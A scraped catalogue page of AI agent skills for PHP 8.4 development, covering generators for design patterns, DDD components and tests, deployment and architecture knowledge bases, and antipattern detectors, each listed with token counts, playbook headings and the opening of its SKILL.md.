7,114 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Database Schema
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore5,108 bytesSKILL.mdcore5,108 bytesSKILL.mdcore5,108 bytesSKILL.mdcore5,108 bytesreferences/event-sourcing-projections.mddoc14,044 bytesreferences/examples.mddoc12,551 bytesreferences/templates.mddoc4,789 bytes
Read SKILL.md
# Read Model / Projection Generator
Creates Read Model infrastructure for CQRS read side with optimized query models.
## When to Use
| Scenario | Example |
|----------|---------|
| CQRS read side | Separate query models |
| Denormalized views | Dashboard aggregates |
| Complex queries | Multi-entity joins |
| Event-driven updates | Event projections |
## Component CharacteristicsView the complete source on GitHubcreate-read-write-proxy
When your agent uses it
Generates Read/Write Connection Proxy for PHP 8.4. Creates connection wrapper with query routing logic, transaction-aware routing, and replica health checks. Includes unit tests.
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
1,254 tokensWhen the skill is activated
Reference documents
3,753 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Routing Logic
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore5,792 bytesSKILL.mdcore5,792 bytesSKILL.mdcore5,792 bytesSKILL.mdcore5,792 bytesSKILL.mdcore5,792 bytesreferences/examples.mddoc9,257 bytesreferences/templates.mddoc7,239 bytes
Read SKILL.md
# Read/Write Connection Proxy Generator
Creates database connection proxy infrastructure for read/write splitting and replica routing.
## When to Use
| Scenario | Example |
|----------|---------|
| High read load | Route SELECT queries to replicas |
| Database scaling | Distribute reads across multiple replicas |
| Write protection | Ensure writes go to primary only |
| Transaction safety | Route all queries in transaction to primary |
## Component CharacteristicsView the complete source on GitHubcreate-rector-config
When your agent uses it
Generates Rector configurations for PHP projects. Creates rector.php with PHP upgrade sets, code quality rules, dead code removal, and framework-specific migrations.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
2,292 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Generated Files
- Configuration by Use Case
- Available Set Lists
- Skip Configuration
- CI Integration
- Common Transformations
- Generation Instructions
- Usage
Files
SKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytesSKILL.mdcore8,911 bytes
Read SKILL.md
# Rector Configuration Generator
Generates optimized Rector configurations for automated PHP refactoring.
Targets Rector 2.x (`rector/rector: ^2.0`) — always the `RectorConfig::configure()` builder, never the legacy `return static function (RectorConfig $rectorConfig): void {}` closure with `->import()`/`->sets()`.
## Generated Files
```
rector.php # Main configuration
```
## Configuration by Use Case
View the complete source on GitHubcreate-repository
When your agent uses it
Generates DDD Repository interfaces and implementation stubs for PHP 8.4. Creates domain interfaces in Domain layer, implementation in Infrastructure.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
1,008 tokensWhen the skill is activated
Reference documents
3,345 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Repository Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Design Rules
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore4,556 bytesSKILL.mdcore4,556 bytesSKILL.mdcore4,556 bytesSKILL.mdcore4,556 bytesreferences/examples.mddoc8,778 bytesreferences/templates.mddoc5,769 bytes
Read SKILL.md
# Repository Generator
Generate DDD-compliant Repository interfaces and implementation stubs.
## Repository Characteristics
- **Interface in Domain**: Contract defined in Domain layer
- **Implementation in Infrastructure**: Doctrine/Eloquent/etc. implementation
- **Works with Aggregates**: Not entities directly
- **Collection-like**: Find, save, remove operations
- **No business logic**: Only persistence operations
---
View the complete source on GitHubcreate-responder
When your agent uses it
Generates ADR Responder classes for PHP 8.4. Creates HTTP response builders with PSR-7/PSR-17 support. Includes unit tests.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
2,888 tokensWhen the skill is activated
Reference documents
6,268 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Responder Characteristics
- Template
- Test Template
- Responder Patterns
- HTTP Status Mapping
- File Placement
- Generation Instructions
- Naming Conventions
- References
Files
SKILL.mdcore12,758 bytesSKILL.mdcore12,758 bytesSKILL.mdcore12,758 bytesSKILL.mdcore12,758 bytesSKILL.mdcore12,758 bytesSKILL.mdcore12,758 bytesSKILL.mdcore12,758 bytesreferences/examples.mddoc16,107 bytesreferences/templates.mddoc13,023 bytes
Read SKILL.md
# Responder Generator
Generate ADR-compliant Responder classes for HTTP response building.
## Responder Characteristics
- **Response Building**: Creates complete HTTP Response (status, headers, body)
- **No Business Logic**: Only format and transform data
- **No Domain Access**: No repository or service calls
- **Error Mapping**: Maps domain errors to HTTP status codes
- **Content Type**: Sets appropriate Content-Type header
- **PSR Compliance**: Uses PSR-7 and PSR-17 interfaces
## TemplateView the complete source on GitHubcreate-retry-pattern
When your agent uses it
Generates Retry pattern for PHP 8.4. Creates resilience component with exponential backoff, jitter, and configurable retry strategies. Includes unit tests.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
1,098 tokensWhen the skill is activated
Reference documents
3,771 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore4,715 bytesSKILL.mdcore4,715 bytesSKILL.mdcore4,715 bytesSKILL.mdcore4,715 bytesreferences/examples.mddoc8,251 bytesreferences/templates.mddoc8,401 bytes
Read SKILL.md
# Retry Pattern Generator
Creates Retry pattern infrastructure for handling transient failures.
## When to Use
| Scenario | Example |
|----------|---------|
| Transient failures | Network timeouts, temporary unavailability |
| External API calls | HTTP requests to third-party services |
| Database operations | Deadlock recovery, connection issues |
| Message processing | Queue message handling with retries |
## Component CharacteristicsView the complete source on GitHubcreate-saga-pattern
When your agent uses it
Generates Saga pattern components for PHP 8.4. Creates Saga interfaces, steps, orchestrator, state management, and compensation logic with unit tests.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
1,586 tokensWhen the skill is activated
Reference documents
6,785 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Key Principles
- Naming Conventions
- Quick Template Reference
- Usage Example
- DI Configuration
- Database Schema
- References
Files
SKILL.mdcore6,832 bytesSKILL.mdcore6,832 bytesSKILL.mdcore6,832 bytesSKILL.mdcore6,832 bytesSKILL.mdcore6,832 bytesSKILL.mdcore6,832 bytesSKILL.mdcore6,832 bytesSKILL.mdcore6,832 bytesreferences/examples.mddoc10,765 bytesreferences/templates.mddoc17,981 bytes
Read SKILL.md
# Saga Pattern Generator
Creates Saga pattern infrastructure for distributed transaction coordination.
## When to Use
- Distributed transactions across multiple services
- Long-running business processes
- Operations requiring compensation on failure
- Multi-step workflows with rollback capability
## Component Characteristics
### SagaState EnumView the complete source on GitHubcreate-snapshot
When your agent uses it
Generates Snapshot pattern for PHP 8.4. Creates aggregate snapshot infrastructure for event sourcing performance optimization with configurable strategies and version tracking. Includes unit tests.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
1,392 tokensWhen the skill is activated
Reference documents
4,132 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Database Schema
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore6,498 bytesSKILL.mdcore6,498 bytesSKILL.mdcore6,498 bytesSKILL.mdcore6,498 bytesSKILL.mdcore6,498 bytesreferences/examples.mddoc11,592 bytesreferences/templates.mddoc6,853 bytes
Read SKILL.md
# Snapshot Generator
Creates Snapshot infrastructure for optimizing event sourcing aggregate rebuilds.
## When to Use
| Scenario | Example |
|----------|---------|
| Long event streams | Aggregates with 100+ events in their history |
| Slow aggregate rebuild | Event replay taking too long for read operations |
| Frequent reads | Aggregates loaded many times per second |
| Large aggregates | Complex state requiring many events to reconstruct |
## Component CharacteristicsView the complete source on GitHubcreate-specification
When your agent uses it
Generates DDD Specification for PHP 8.4. Creates reusable business rule objects for validation, filtering, and querying with composite pattern support. Includes unit tests.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
910 tokensWhen the skill is activated
Reference documents
3,704 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Specification Characteristics
- When to Use Specification
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore4,020 bytesSKILL.mdcore4,020 bytesSKILL.mdcore4,020 bytesSKILL.mdcore4,020 bytesreferences/examples.mddoc10,216 bytesreferences/templates.mddoc6,869 bytes
Read SKILL.md
# Specification Generator
Generate DDD-compliant Specifications for encapsulating business rules and filtering logic.
## Specification Characteristics
- **Single Responsibility**: One business rule per specification
- **Composable**: AND, OR, NOT combinations
- **Reusable**: Same spec for validation and querying
- **Domain Language**: Named using ubiquitous language
- **Testable**: Easy to unit test in isolation
- **Immutable**: No state changes after creation
## When to Use SpecificationView the complete source on GitHubcreate-state
When your agent uses it
Generates State pattern for PHP 8.4. Creates state machines with context, state interface, and concrete states for behavior changes. Includes unit tests.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
1,503 tokensWhen the skill is activated
Reference documents
4,622 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- State Diagram Template
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore6,591 bytesSKILL.mdcore6,591 bytesSKILL.mdcore6,591 bytesSKILL.mdcore6,591 bytesSKILL.mdcore6,591 bytesSKILL.mdcore6,591 bytesreferences/examples.mddoc16,396 bytesreferences/templates.mddoc4,723 bytes
Read SKILL.md
# State Pattern Generator
Creates State pattern infrastructure for objects that change behavior based on internal state.
## When to Use
| Scenario | Example |
|----------|---------|
| Object behavior varies by state | Order (pending, paid, shipped) |
| Many conditionals based on state | Document workflow |
| State-specific transitions | Subscription lifecycle |
| Finite state machines | Payment processing |
## Component CharacteristicsView the complete source on GitHubcreate-strategy
When your agent uses it
Generates Strategy pattern for PHP 8.4. Creates interchangeable algorithm families with context class, strategy interface, and concrete implementations. Includes unit tests.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
1,141 tokensWhen the skill is activated
Reference documents
2,987 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Common Strategy Examples
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore5,204 bytesSKILL.mdcore5,204 bytesSKILL.mdcore5,204 bytesSKILL.mdcore5,204 bytesSKILL.mdcore5,204 bytesreferences/examples.mddoc9,073 bytesreferences/templates.mddoc4,054 bytes
Read SKILL.md
# Strategy Pattern Generator
Creates Strategy pattern infrastructure for interchangeable algorithm families.
## When to Use
| Scenario | Example |
|----------|---------|
| Multiple algorithms | Pricing, tax, shipping calculation |
| Runtime selection | Payment processing based on amount |
| Avoiding conditionals | Replace switch/if-else chains |
| Algorithm families | Sorting, compression, encryption |
## Component CharacteristicsView the complete source on GitHubcreate-structured-logger
When your agent uses it
Generates Structured Logger for PHP 8.4. Creates PSR-3 structured logging setup with Monolog processors, correlation ID propagation, and context middleware. Includes unit tests.
What it loads into context
Frontmatter
45 tokensAlways available to the agent
SKILL.md
1,151 tokensWhen the skill is activated
Reference documents
3,093 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Log Flow
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore5,301 bytesSKILL.mdcore5,301 bytesSKILL.mdcore5,301 bytesSKILL.mdcore5,301 bytesSKILL.mdcore5,301 bytesreferences/examples.mddoc7,900 bytesreferences/templates.mddoc5,191 bytes
Read SKILL.md
# Structured Logger Generator
Creates structured logging infrastructure for observability and request tracing.
## When to Use
| Scenario | Example |
|----------|---------|
| Distributed tracing | Correlate logs across microservices |
| Request debugging | Track full request lifecycle |
| Audit logging | Structured records with context |
| Error investigation | Rich context in error logs |
## Component CharacteristicsView the complete source on GitHubcreate-template-method
When your agent uses it
Generates Template Method pattern for PHP 8.4. Creates abstract algorithm skeleton with customizable steps, allowing subclasses to override specific parts without changing structure. Includes unit tests.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
1,153 tokensWhen the skill is activated
Reference documents
4,692 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Common Template Method Variants
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore5,300 bytesSKILL.mdcore5,300 bytesSKILL.mdcore5,300 bytesSKILL.mdcore5,300 bytesreferences/examples.mddoc13,625 bytesreferences/templates.mddoc7,679 bytes
Read SKILL.md
# Template Method Pattern Generator
Creates Template Method pattern infrastructure for algorithm skeletons with customizable steps.
## When to Use
| Scenario | Example |
|----------|---------|
| Common algorithm structure | Data import/export with format variations |
| Controlled extension points | Report generation with customizable sections |
| Code reuse across variants | Order processing with type-specific steps |
| Invariant parts protection | Template rendering with hooks |
## Component CharacteristicsView the complete source on GitHubcreate-test-builder
When your agent uses it
Generates Test Data Builder and Object Mother patterns for PHP 8.4. Creates fluent builders with sensible defaults and factory methods for test data creation.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
481 tokensWhen the skill is activated
Reference documents
2,176 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Patterns
- References
- Generation Instructions
- Best Practices
Files
SKILL.mdcore2,221 bytesreferences/examples.mddoc7,001 bytesreferences/templates.mddoc2,074 bytes
Read SKILL.md
# Test Data Builder Generator
Generates Test Data Builder and Object Mother patterns for test data creation.
## Patterns
### Test Data Builder
Fluent interface for constructing test objects with customizable properties.
**When to use:**
- Complex objects with many properties
- Need to customize specific properties per test
- Want to express test intent clearlyView the complete source on GitHubcreate-test-double
When your agent uses it
Generates test doubles (Mocks, Stubs, Fakes, Spies) for PHP 8.4. Creates appropriate double type based on testing needs with PHPUnit MockBuilder patterns.
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
2,559 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Test Double Types
- Decision Matrix
- When to Use Each
- Stub Examples
- Mock Examples
- Fake Examples
- Spy Examples
- Generation Instructions
- Best Practices
Files
SKILL.mdcore10,673 bytesSKILL.mdcore10,673 bytesSKILL.mdcore10,673 bytesSKILL.mdcore10,673 bytesSKILL.mdcore10,673 bytesSKILL.mdcore10,673 bytesSKILL.mdcore10,673 bytesSKILL.mdcore10,673 bytesSKILL.mdcore10,673 bytesSKILL.mdcore10,673 bytesSKILL.mdcore10,673 bytes
Read SKILL.md
# Test Double Generator
Generates appropriate test doubles based on testing needs.
## Test Double Types
| Type | Purpose | Behavior | Verification |
|------|---------|----------|--------------|
| **Stub** | Provide canned answers | Returns predefined values | No |
| **Mock** | Verify interactions | Configurable | Yes (expectations) |
| **Fake** | Working implementation | Real logic, simplified | No |
| **Spy** | Record interactions | Passes through | Yes (inspection) |
## Decision MatrixView the complete source on GitHubcreate-timeout
When your agent uses it
Generates Timeout pattern components for PHP 8.4. Creates execution time limit infrastructure with configurable timeouts, fallback support, stream timeouts, and unit tests.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
1,642 tokensWhen the skill is activated
Reference documents
5,806 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Key Principles
- Naming Conventions
- Quick Template Reference
- Usage Example
- Composition with Circuit Breaker
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore7,297 bytesSKILL.mdcore7,297 bytesSKILL.mdcore7,297 bytesSKILL.mdcore7,297 bytesSKILL.mdcore7,297 bytesSKILL.mdcore7,297 bytesreferences/examples.mddoc15,779 bytesreferences/templates.mddoc10,984 bytes
Read SKILL.md
# Timeout Pattern Generator
Creates Timeout pattern infrastructure for execution time limits with fallback support.
## When to Use
| Scenario | Example |
|----------|---------|
| External API calls | HTTP requests to third-party services |
| Database queries | Long-running or unoptimized queries |
| Queue consumers | Message processing time limits |
| File operations | Large file uploads/downloads |
| Distributed calls | gRPC, SOAP, or REST inter-service calls |
| Batch processing | Individual item timeout within batch |View the complete source on GitHubcreate-unit-of-work
When your agent uses it
Generates Unit of Work pattern components for PHP 8.4. Creates transactional consistency infrastructure with aggregate tracking, flush/rollback, domain event collection, and unit tests.
What it loads into context
Frontmatter
42 tokensAlways available to the agent
SKILL.md
1,346 tokensWhen the skill is activated
Reference documents
8,852 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Key Principles
- Naming Conventions
- Quick Template Reference
- DI Configuration
- Database Notes
- References
Files
SKILL.mdcore6,095 bytesSKILL.mdcore6,095 bytesSKILL.mdcore6,095 bytesSKILL.mdcore6,095 bytesreferences/examples.mddoc15,840 bytesreferences/templates.mddoc22,578 bytes
Read SKILL.md
# Unit of Work Generator
Creates Unit of Work pattern infrastructure for transactional consistency across multiple aggregates.
## When to Use
| Scenario | Example |
|----------|---------|
| Multi-aggregate transactions | Order + Payment + Inventory in single transaction |
| Batch persistence | Flush multiple entity changes at once |
| Change tracking | Detect dirty entities for selective updates |
| Domain event collection | Collect and dispatch events after successful commit |
| Repository coordination | Ensure all repositories share the same transaction |
View the complete source on GitHubcreate-unit-test
When your agent uses it
Generates PHPUnit unit tests for PHP 8.4. Creates isolated tests with AAA pattern, proper naming, attributes, and one behavior per test. Supports Value Objects, Entities, Services.
What it loads into context
Frontmatter
45 tokensAlways available to the agent
SKILL.md
2,239 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Characteristics
- Template
- Naming Convention
- Test Patterns by Component
- Data Providers
- Generation Instructions
- Assertions Reference
- Usage
Files
SKILL.mdcore9,486 bytesSKILL.mdcore9,486 bytesSKILL.mdcore9,486 bytesSKILL.mdcore9,486 bytesSKILL.mdcore9,486 bytesSKILL.mdcore9,486 bytesSKILL.mdcore9,486 bytesSKILL.mdcore9,486 bytesSKILL.mdcore9,486 bytesSKILL.mdcore9,486 bytesSKILL.mdcore9,486 bytes
Read SKILL.md
# Unit Test Generator
Generates PHPUnit 11+ unit tests for PHP 8.4 classes.
## Characteristics
- **Isolated** — no external dependencies (DB, HTTP, filesystem)
- **Fast** — executes in <100ms
- **Focused** — one behavior per test
- **AAA Pattern** — Arrange-Act-Assert structure
- **Self-documenting** — descriptive test names
## Template
View the complete source on GitHubcreate-use-case
When your agent uses it
Generates Application Use Cases for PHP 8.4. Creates orchestration services that coordinate domain objects, handle transactions, and dispatch events. Includes unit tests.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
892 tokensWhen the skill is activated
Reference documents
3,179 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use Case Characteristics
- When to Use
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore3,853 bytesSKILL.mdcore3,853 bytesSKILL.mdcore3,853 bytesSKILL.mdcore3,853 bytesreferences/examples.mddoc9,595 bytesreferences/templates.mddoc4,905 bytes
Read SKILL.md
# Use Case Generator
Generate Application-layer Use Cases that orchestrate domain operations.
## Use Case Characteristics
- **Single responsibility**: One operation per use case
- **Orchestration**: Coordinates domain objects
- **Transaction boundary**: Manages atomicity
- **Event dispatch**: Publishes domain events
- **No business logic**: Delegates to domain
- **Framework agnostic**: No HTTP/CLI concerns
## When to UseView the complete source on GitHubcreate-value-object
When your agent uses it
Generates DDD Value Objects for PHP 8.4. Creates immutable, self-validating objects with equality comparison. Includes unit tests.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
2,124 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Value Object Characteristics
- Template
- Test Template
- Common Value Objects
- Generation Instructions
- Naming Conventions
- Usage
Files
SKILL.mdcore8,466 bytesSKILL.mdcore8,466 bytesSKILL.mdcore8,466 bytesSKILL.mdcore8,466 bytesSKILL.mdcore8,466 bytesSKILL.mdcore8,466 bytesSKILL.mdcore8,466 bytesSKILL.mdcore8,466 bytes
Read SKILL.md
# Value Object Generator
Generate DDD-compliant Value Objects with validation, equality, and tests.
## Value Object Characteristics
- **Immutable**: `final readonly class`
- **Self-validating**: Validates in constructor
- **Equality by value**: `equals()` method compares values
- **No identity**: No ID, compared by content
- **Encapsulates concept**: Represents domain concept
## Template
View the complete source on GitHubcreate-visitor
When your agent uses it
Generates Visitor pattern for PHP 8.4. Creates operations on object structures without modifying element classes, with visitor interface, concrete visitors, and visitable elements. Includes unit tests.
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
1,293 tokensWhen the skill is activated
Reference documents
4,774 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Common Visitor Operations
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore5,780 bytesSKILL.mdcore5,780 bytesSKILL.mdcore5,780 bytesSKILL.mdcore5,780 bytesSKILL.mdcore5,780 bytesSKILL.mdcore5,780 bytesreferences/examples.mddoc13,670 bytesreferences/templates.mddoc6,493 bytes
Read SKILL.md
# Visitor Pattern Generator
Creates Visitor pattern infrastructure for operations on object structures without modifying classes.
## When to Use
| Scenario | Example |
|----------|---------|
| Operations on object structure | Calculate price/tax on order items |
| Adding operations without modification | Export visitors (JSON, XML, CSV) |
| Different operations on same elements | Validation, transformation, rendering |
| Double dispatch needed | Type-specific behavior without instanceof |
## Component CharacteristicsView the complete source on GitHubddd-knowledge
When your agent uses it
DDD architecture knowledge base. Provides patterns, antipatterns, and PHP-specific guidelines for Domain-Driven Design audits.
What it loads into context
Frontmatter
33 tokensAlways available to the agent
SKILL.md
930 tokensWhen the skill is activated
Reference documents
14,865 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- Quick Checklists
- Common Violations Quick Reference
- PHP 8.4 DDD Patterns
- References
- Assets
Files
SKILL.mdcore4,201 bytesSKILL.mdcore4,201 bytesSKILL.mdcore4,201 bytesSKILL.mdcore4,201 bytesSKILL.mdcore4,201 bytesassets/report-template.mddoc3,635 bytesreferences/antipatterns.mddoc11,729 bytesreferences/application-patterns.mddoc10,354 bytesreferences/domain-patterns.mddoc11,164 bytesreferences/generation-examples.mddoc5,686 bytesreferences/layer-architecture.mddoc8,416 bytesreferences/php-specific.mddoc13,014 bytes
Read SKILL.md
# DDD Knowledge Base
Quick reference for DDD architecture patterns and PHP implementation guidelines.
## Core Principles
### Layer Dependencies (Clean Architecture)
```
Presentation → Application → Domain ← Infrastructure
↓
Domain (center)
```
View the complete source on GitHubdeployment-knowledge
When your agent uses it
Deployment knowledge base. Provides zero-downtime strategies, blue-green deployment, canary releases, rolling updates, rollback procedures, feature flags, and health check patterns.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
2,621 tokensWhen the skill is activated
Reference documents
16,690 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Deployment Strategies
- Blue-Green Deployment
- Canary Deployment
- Rolling Deployment
- Zero-Downtime Checklist
- Feature Flags
- Rollback Procedures
- Environment Configuration
- Deployment Checklist
- References
Files
SKILL.mdcore10,572 bytesSKILL.mdcore10,572 bytesSKILL.mdcore10,572 bytesSKILL.mdcore10,572 bytesSKILL.mdcore10,572 bytesSKILL.mdcore10,572 bytesSKILL.mdcore10,572 bytesSKILL.mdcore10,572 bytesSKILL.mdcore10,572 bytesSKILL.mdcore10,572 bytesSKILL.mdcore10,572 bytesreferences/blue-green.mddoc20,505 bytesreferences/canary.mddoc22,032 bytesreferences/feature-flags.mddoc26,094 bytes
Read SKILL.md
# Deployment Knowledge Base
Quick reference for deployment strategies, zero-downtime patterns, and release management.
## Deployment Strategies
### Strategy Comparison
| Strategy | Downtime | Rollback Speed | Risk | Resource Usage |
|----------|----------|----------------|------|----------------|
| **Recreate** | Yes | Slow | High | 1x |
| **Rolling** | No | Medium | Medium | 1.25x |
| **Blue-Green** | No | Instant | Low | 2x |
| **Canary** | No | Fast | Very Low | 1.1x |View the complete source on GitHubdetect-architecture-pattern
When your agent uses it
Detects architectural patterns (MVC, DDD, Hexagonal, CQRS, Layered, Event Sourcing, Microservice) from namespace structure, interface placement, and dependency direction. Outputs confidence score per pattern.
What it loads into context
Frontmatter
52 tokensAlways available to the agent
SKILL.md
1,971 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Detectable Patterns
- Detection Algorithms
- Output Format
- Confidence Scale
- Integration
Files
SKILL.mdcore7,800 bytesSKILL.mdcore7,800 bytesSKILL.mdcore7,800 bytesSKILL.mdcore7,800 bytesSKILL.mdcore7,800 bytesSKILL.mdcore7,800 bytesSKILL.mdcore7,800 bytesSKILL.mdcore7,800 bytes
Read SKILL.md
# Architecture Pattern Detector
## Overview
Analyzes a PHP codebase to detect which architectural patterns are in use. Examines namespace structure, interface placement, dependency direction, and code organization to determine patterns with confidence scores.
## Detectable Patterns
| Pattern | Key Indicators | Confidence Markers |
|---------|---------------|-------------------|
| MVC | Controllers + Models + Views | Framework routing, template engine |
| DDD | Domain layer with Entities/VOs/Aggregates | Repository interfaces in Domain |
| Hexagonal | Ports (interfaces) + Adapters | Inbound/outbound port separation |
| CQRS | Separate Command/Query models | CommandBus, QueryBus, separate handlers |View the complete source on GitHubdetect-ci-antipatterns
When your agent uses it
Detects CI/CD antipatterns in pipeline configurations. Identifies slow pipelines, security issues, maintenance problems, and provides remediation guidance.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
771 tokensWhen the skill is activated
Reference documents
1,906 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Analysis Approach
- Detection Rules
- Severity Classification
- Output Format
- Usage
- References
Files
SKILL.mdcore3,347 bytesreferences/patterns.mddoc6,621 bytes
Read SKILL.md
# CI Antipattern Detector
Detects common CI/CD antipatterns and provides remediation guidance.
## When to Use
- Reviewing GitHub Actions workflow files
- Auditing CI pipeline performance (slow builds)
- Checking CI security configuration
- Reducing pipeline maintenance burden
- Improving build reliability
## Analysis Approach
View the complete source on GitHubdetect-code-smells
When your agent uses it
Detects code smells in PHP codebases. Identifies God Class, Feature Envy, Data Clumps, Long Parameter List, Long Method, Primitive Obsession, Message Chains, Inappropriate Intimacy. Generates actionable reports with refactoring recommendations.
What it loads into context
Frontmatter
59 tokensAlways available to the agent
SKILL.md
2,839 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Code Smells Catalog
- Detection Patterns
- Report Format
- Remediation Skills
- Quick Analysis Commands
- Integration with Other Skills
- References
- When This Is Acceptable
Files
SKILL.mdcore10,691 bytesSKILL.mdcore10,691 bytesSKILL.mdcore10,691 bytesSKILL.mdcore10,691 bytesSKILL.mdcore10,691 bytesSKILL.mdcore10,691 bytesSKILL.mdcore10,691 bytesSKILL.mdcore10,691 bytesSKILL.mdcore10,691 bytesSKILL.mdcore10,691 bytes
Read SKILL.md
# Code Smells Detector
## Overview
This skill analyzes PHP codebases for code smells (symptoms of deeper problems) and generates detailed reports with severity levels and refactoring recommendations.
## Code Smells Catalog
| Smell | Description | Detection | Severity |
|-------|-------------|-----------|----------|
| God Class | Class doing too much | >500 LOC, >15 methods | CRITICAL |
| Feature Envy | Method uses another class more | Foreign calls > own calls | WARNING |
| Data Clumps | Same fields appear together | 3+ repeated params/fields | WARNING |
| Long Parameter List | Method with many params | >4 parameters | WARNING |View the complete source on GitHubdetect-docker-antipatterns
When your agent uses it
Detects Docker antipatterns in PHP projects. Identifies layer ordering issues, cache invalidation, bloated images, and configuration smells.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
1,219 tokensWhen the skill is activated
Reference documents
